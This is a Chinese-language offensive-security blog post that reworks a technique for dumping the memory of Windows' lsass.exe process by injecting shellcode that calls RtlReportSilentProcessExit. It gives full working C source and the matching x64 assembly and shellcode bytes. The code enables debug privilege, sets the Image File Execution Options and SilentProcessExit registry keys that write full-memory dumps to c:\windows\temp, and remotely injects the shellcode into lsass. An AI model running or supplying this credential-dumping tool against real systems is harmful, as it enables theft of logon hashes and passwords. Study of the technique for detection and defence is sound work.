WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

其它

关于博客

面试

杂谈

RtlReportSilentProcessExit dump Lsass.exe

原文地址:https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649751822&idx=3&sn=d8a0d685152418e7b8a6abf532365aa2&chksm=88933161bfe4b87759a0483aeb25c6bc82d098b7d98209b6cd482b3c5bd845aec349df30ae57#rd

这里有很多dump hash的方法,但是这种方法以前没见过就学习一下

0x01 原理

文章已经写的很清楚了

  1. 修改注册表,配置dump保存路径这些
  2. 通过RtlReportSilentProcessExit告诉系统正在执行静默退出,但是实际上不会退出

简单点就是说了不执行

文章里面说有两种方法,一种是直接调用这个函数,还有一种是用远程线程注入到Lsass.exe中再执行这个函数

因为直接调用会把执行这个函数的进程也dump出来,所以想试试后面这种方法

然后就开始踩坑..

0x02 ThreadProc

之前写线程注入的时候写过,CreateRemoteThread第四个参数是函数,第五个参数是函数的参数

本来想着直接写个函数,结果发现都是问题,直接写函数就是进程炸掉,估计是找不到函数地址什么的

看了一些文章,说是把函数地址和参数放到一个结构里面,然后用结构里面的函数指针执行,写了个demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include<stdio.h>
#include<Windows.h>
#include<tlhelp32.h>
#include "shlwapi.h"

#pragma comment(lib, "shlwapi.lib")


typedef NTSTATUS(NTAPI* fRtlReportSilentProcessExit)(
HANDLE processHandle,
NTSTATUS ExitStatus
);

typedef struct Rtl {
HANDLE GCP; //参数
FARPROC dwRtlReportSilentProcessExit; //函数地址
} RtlReportParam;

DWORD WINAPI threadProc(LPVOID lParam)//线程函数
{
fRtlReportSilentProcessExit RtlReportSilentProcessExit; //声明函数
RtlReportPar am* pRP = (RtlReportParam*)lParam; //将指针转换为结构指针
RtlReportSilentProcessExit = (fRtlReportSilentProcessExit)pRP->dwRtlReportSilentProcessExit; //取出函数指针
RtlReportSilentProcessExit(pRP->GCP, 0); //调用函数

return 0;
}


DWORD getPidByName(PCWCHAR procName) { //获取进程PID

HANDLE hProcSnapshot;
DWORD retPid = -1;
hProcSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe;

if (INVALID_HANDLE_VALUE == hProcSnapshot) {
printf(" - 创建快照失败!\n");
return -1;
}
pe.dwSize = sizeof(PROCESSENTRY32W);
if (!Process32First(hProcSnapshot, &pe)) {
printf(" - Process32First Error : %#X\n", GetLastError());
return -1;
}
do {
if (!lstrcmpiW(procName, PathFindFileName(pe.szExeFile))) {
retPid = pe.th32ProcessID;
}
} while (Process32Next(hProcSnapshot, &pe));
CloseHandle(hProcSnapshot);
return retPid;
}



void main()
{
DWORD dwSize = 4096;
PCWCHAR targetProcName = L"lsass.exe";
int pid = getPidByName(targetProcName);
HANDLE notepad = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);

//把ThreadProcx写入内存
LPVOID base_address = VirtualAllocEx(notepad, 0, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
printf("function_address: %p\n", base_address);
BOOL res = WriteProcessMemory(notepad, base_address, &threadProc, dwSize, 0);


//获取函数地址和参数,传到结构里面并写入注入进程的内存
RtlReportParam RtlReportParamData;
ZeroMemory(&RtlReportParamData, sizeof(RtlReportParam));
RtlReportParamData.dwRtlReportSilentProcessExit = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlReportSilentProcessExit");
RtlReportParamData.GCP = GetCurrentProcess();


LPVOID pRemoteParam = VirtualAllocEx(notepad, 0, sizeof(RtlReportParamData), MEM_COMMIT, PAGE_READWRITE);
printf("Param: %p", RtlReportParamData.dwRtlReportSilentProcessExit);

WriteProcessMemory(notepad, pRemoteParam, &RtlReportParamData, sizeof(RtlReportParamData), 0);
DWORD dwWriteBytes;

//执行函数
HANDLE hRemoteThread = CreateRemoteThread(
notepad, NULL, 0, (DWORD(WINAPI*)(void*))base_address,
pRemoteParam, CREATE_SUSPENDED, &dwWriteBytes);
ResumeThread(hRemoteThread);
}

一些改注册表的没加上去,测试了一下可以运行就关机了..结果再开机的时候发现又不能用了..

就很玄学,然后再怎么调都没用,没办法了想着写个shellcode调用这个函数,因为shellcode是从dll里面直接找函数的,感觉应该没什么问题

0x03 编写64位shellcode

以前写过32位的shellcode,其实差不多,需要注意的是64位的指针是八个字节的

还有就是结构体内存对齐,这个问题在

说到过

结构体内存对齐

当时还不知道BYTE后面的0000是怎么来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include<stdio.h>

struct a1 {

char a;
short s;
int i;

};

struct a2 {
short s;
int i;
char a;

};


void main()
{
a1 A1;
a2 A2;
ZeroMemory(&A1, sizeof(A1));
A1.a = 1;
A1.i = 2;
A1.s = 3;
ZeroMemory(&A2, sizeof(A2));
A2.a = 1;
A2.i = 2;
A2.s = 3;
printf("%d", sizeof(A1));
printf("%d", sizeof(A2));
}

先看这个程序,结果是8和12

在内存中是这样的

1
2
A1:01 00 03 00 02 00 00 00 
A2:00 03 00 00 00 02 00 00 00 01 00 00 00

简单的说就是前面的地址大小必须是后面地址的倍数大小

还有总大小是默认对齐方式的倍数,默认为4

A1第一个是char占一字节,第二个是short占两字节,所以char要补一个00这样就是short的倍数,第三个int,如果前面的short要变成倍数又要加上0000,这样就不满足第二个要求,直接加上int刚好为8是4的倍数

A2第一个是short,第二个是int,所以第一个要补上0000,但是最后一个char要满足第二个要求需要加上000000,最后变成12字节

感觉说的也不是很清楚,还是需要一点感觉

VisualStudio x64汇编

VistualStudio x64不支持__asm,需要配置一下才能执行汇编

右键项目->生成依赖项->生成自定义

勾选masm,新建一个asm文件,就可以开始写汇编了

写完之后需要在cpp文件里面声明函数,函数名要和汇编内一样

1
2
3
4
5
6
#include<stdio.h>
extern "C" void func();
int main() {
func();
return 0;
}

现在就可以开始编写shellcode了

64位shellcode

在64位中指针有8个字节,所以有些偏移需要改一下

下面是汇编文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
.DATA		;数据段
.CODE ;代码段
func PROC ;定义函数,函数名和cpp文件内声明函数一样
mov rdx,gs:[60h] ;64位PEB地址
mov rbx, [rdx+18h] ;Ldr
mov rsi, [rbx+28h] ;InMemoryOrderModuleList
mov rsi,[rsi]
mov rsi,[rsi]
mov rsi,[rsi] ;找到ntdll.dll的LDR_DATA_TABLE_ENTRY
mov rbx, [rsi+20h] ;ntdll.dll的基址
mov edx, [rbx+3Ch] ;e_lfanew偏移
add rdx, rbx ;e_lfanew
mov edx, [rdx+88h] ;VirtualAddress偏移
add rdx, rbx ;VirtualAddress
mov esi, [rdx+20h] ;AddressOfNames偏移
add rsi, rbx ;AddressOfNames
xor rcx,rcx ;rcx置零


Get_Function:
inc rcx
lodsd
add rax,rbx
cmp dword ptr [rax], 526c7452h
jnz Get_Function
cmp dword ptr [rax+4], 726f7065h
jnz Get_Function
cmp dword ptr [rax+8], 6c695374h
jnz Get_Function
;找到RtlReportSilentProcessExit名称地址


mov esi, [rdx+24h]
add rsi, rbx
mov cx, [rsi + rcx * 2]
dec rcx
mov esi, [rdx+1ch]
add rsi, rbx
mov edx, [rsi + rcx * 4]
add rdx, rbx
mov rbx, rdx

;这里都和32位差不多

mov rcx, -1 ;-1代表当前进程句柄,因为需要注入到进程在那个进程就是当前进程
mov rdx, 0 ;第二个参数
call rbx ;执行RtlReportSilentProcessExit
ret
func ENDP;
END

用脚本提取一下shellcode在32位文章里面有写过

把原来的代码修改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
#include <Windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include "shlwapi.h"

#pragma comment(lib, "shlwapi.lib")

#define IFEO_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe"
#define SILENT_PROCESS_EXIT_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\lsass.exe"
#define LOCAL_DUMP 0x2
#define FLG_MONITOR_SILENT_PROCESS_EXIT 0x200
#define DUMP_FOLDER L"c:\\windows\\temp"
#define MiniDumpWithFullMemory 0x2


BOOL EnableDebugPriv() {
HANDLE hToken = NULL;
LUID luid;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
printf(" - 获取当前进程Token失败 %#X\n", GetLastError());
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
printf(" - Lookup SE_DEBUG_NAME失败 %#X\n", GetLastError());
return FALSE;
}
TOKEN_PRIVILEGES tokenPriv;
tokenPriv.PrivilegeCount = 1;
tokenPriv.Privileges[0].Luid = luid;
tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(tokenPriv), NULL, NULL)) {
printf(" - AdjustTokenPrivileges 失败: %#X\n", GetLastError());
return FALSE;
}
return TRUE;
}

BOOL setRelatedRegs(PCWCHAR procName) {

HKEY hkResSubIFEO = NULL;
HKEY hkResSubSPE = NULL;
DWORD globalFlag = FLG_MONITOR_SILENT_PROCESS_EXIT;
DWORD reportingMode = MiniDumpWithFullMemory;
DWORD dumpType = LOCAL_DUMP, retstatus = -1;

BOOL ret = FALSE;

if (ERROR_SUCCESS != (retstatus = RegCreateKey(HKEY_LOCAL_MACHINE, IFEO_REG_KEY, &hkResSubIFEO))) {
printf(" - 打开注册表项 Image_File_Execution_Options 失败: %#X\n", GetLastError());
return -1;
}
if (ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubIFEO, L"GlobalFlag", 0, REG_DWORD, (const BYTE*)&globalFlag, sizeof(globalFlag)))) {
printf(" - 设置注册表键 GlobalFlag 键值失败: %#X\n", GetLastError());
return -1;
}

if (ERROR_SUCCESS != (retstatus = RegCreateKey(HKEY_LOCAL_MACHINE, SILENT_PROCESS_EXIT_REG_KEY, &hkResSubSPE))) {
printf(" - 打开注册表项 SilentProcessExit 失败: %#X\n", GetLastError());
return -1;
}
if (ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"ReportingMode", 0, REG_DWORD, (const BYTE*)&reportingMode, sizeof(reportingMode)))
|| ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"LocalDumpFolder", 0, REG_SZ, (const BYTE*)DUMP_FOLDER, lstrlenW(DUMP_FOLDER) * 2))
|| ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"DumpType", 0, REG_DWORD, (const BYTE*)&dumpType, sizeof(dumpType)))) {
printf(" - 设置注册表键 reportingMode|LocalDumpFolder|DumpType 键值失败: %#X\n", GetLastError());
return -1;
}
printf("[+]注册表设置完成 ...\n");
ret = TRUE;
if (hkResSubIFEO)
CloseHandle(hkResSubIFEO);
if (hkResSubSPE)
CloseHandle(hkResSubSPE);

return ret;
}

DWORD getPidByName(PCWCHAR procName) {

HANDLE hProcSnapshot;
DWORD retPid = -1;
hProcSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe;

if (INVALID_HANDLE_VALUE == hProcSnapshot) {
printf(" - 创建快照失败!\n");
return -1;
}
pe.dwSize = sizeof(PROCESSENTRY32W);
if (!Process32First(hProcSnapshot, &pe)) {
printf(" - Process32First Error : %#X\n", GetLastError());
return -1;
}
do {
if (!lstrcmpiW(procName, PathFindFileName(pe.szExeFile))) {
retPid = pe.th32ProcessID;
}
} while (Process32Next(hProcSnapshot, &pe));
CloseHandle(hProcSnapshot);
return retPid;
}


typedef NTSTATUS(NTAPI* fRtlReportSilentProcessExit)(
HANDLE processHandle,
NTSTATUS ExitStatus
);

typedef struct _RtlReportSilentProcessExitParam {
HANDLE GCP;
FARPROC dwRtlReportSilentProcessExit;
} RtlReportSilentProcessExitParam;

DWORD WINAPI ThreadProc(LPVOID lpParameter) {

fRtlReportSilentProcessExit RtlReportSilentProcessExit;
RtlReportSilentProcessExitParam* pRP = (RtlReportSilentProcessExitParam*)lpParameter;
RtlReportSilentProcessExit = (fRtlReportSilentProcessExit)pRP->dwRtlReportSilentProcessExit;
RtlReportSilentProcessExit(pRP->GCP, 0);

return 0;
}

INT main() {
NTSTATUS ntStatus = -1;
HMODULE hNtMod = NULL;
PCWCHAR targetProcName = L"lsass.exe";
DWORD pid = -1;
HANDLE hLsassProc = NULL;
DWORD dwSize = 4096;

char sc[] = "\x65\x48\x8B\x14\x25\x60\x00\x00\x00\x48\x8B\x5A\x18\x48\x8B\x73\x28\x48\x8B\x36\x48\x8B\x36\x48\x8B\x36\x48\x8B\x5E\x20\x8B\x53\x3C\x48\x03\xD3\x8B\x92\x88\x00\x00\x00\x48\x03\xD3\x8B\x72\x20\x48\x03\xF3\x48\x33\xC9\x48\xFF\xC1\xAD\x48\x03\xC3\x81\x38\x52\x74\x6C\x52\x75\xF1\x81\x78\x04\x65\x70\x6F\x72\x75\xE8\x81\x78\x08\x74\x53\x69\x6C\x75\xDF\x8B\x72\x24\x48\x03\xF3\x66\x8B\x0C\x4E\x48\xFF\xC9\x8B\x72\x1C\x48\x03\xF3\x8B\x14\x8E\x48\x03\xD3\x48\x8B\xDA\x48\xC7\xC1\xFF\xFF\xFF\xFF\x48\xC7\xC2\x00\x00\x00\x00\xFF\xD3\xC3";
if (!EnableDebugPriv()) {
printf(" - 启用当前进程DEBUG权限失败: %#X\n", GetLastError());
return 1;
}
printf("[+]启用当前进程DEBUG权限 OK\n");

if (!setRelatedRegs(targetProcName)) {
printf(" - 设置相关注册表键值失败: %#X\n", GetLastError());
return 1;
}
printf("[+]设置相关注册表键值 OK\n");

pid = getPidByName(targetProcName);
if (-1 == pid) {
printf(" - 获取目标进程pid: %#X\n", pid);
return 1;
}
printf("[+]获取目标PID: %#X\n", pid);

hLsassProc = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
if (!hLsassProc) {
printf(" - 获取lsass进程句柄失败: %#X\n", GetLastError());
return -1;
}
printf("[+]获取lsass进程句柄: %#X\n", (DWORD)hLsassProc);


LPVOID base_address = VirtualAllocEx(hLsassProc, 0, sizeof(sc), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (base_address == 0) {
printf("[-]获取地址失败 ERRORCODE: %d", GetLastError());
return -1;
}
printf("[+]获取地址成功: %p\n", base_address);
BOOL res = WriteProcessMemory(hLsassProc, base_address, &sc, sizeof(sc), 0);
if (!res) {
printf("[-]写入函数失败\n");
return -1;
}
printf("[+]写入函数成功\n[+]function_address: %p\n", base_address);





DWORD ID;
HANDLE ThreadHandle = CreateRemoteThread(hLsassProc, NULL, 0, (LPTHREAD_START_ROUTINE)base_address, 0, CREATE_SUSPENDED, &ID);
if (ThreadHandle) {
printf("[+]ThreadInject Success\n");
ResumeThread(ThreadHandle);

}
printf("[+]dump文件在c:\\windows\\temp\\lsass-*\\");
return 0;
}

至少能用了,但是还是有些问题,要重启一次才能dump出文件,然后有些环境可以有些不行

杀软强一点可能就不能注入了

这篇文章主要还是记一下过程吧,各位师傅真的要用还是用原文那个稳定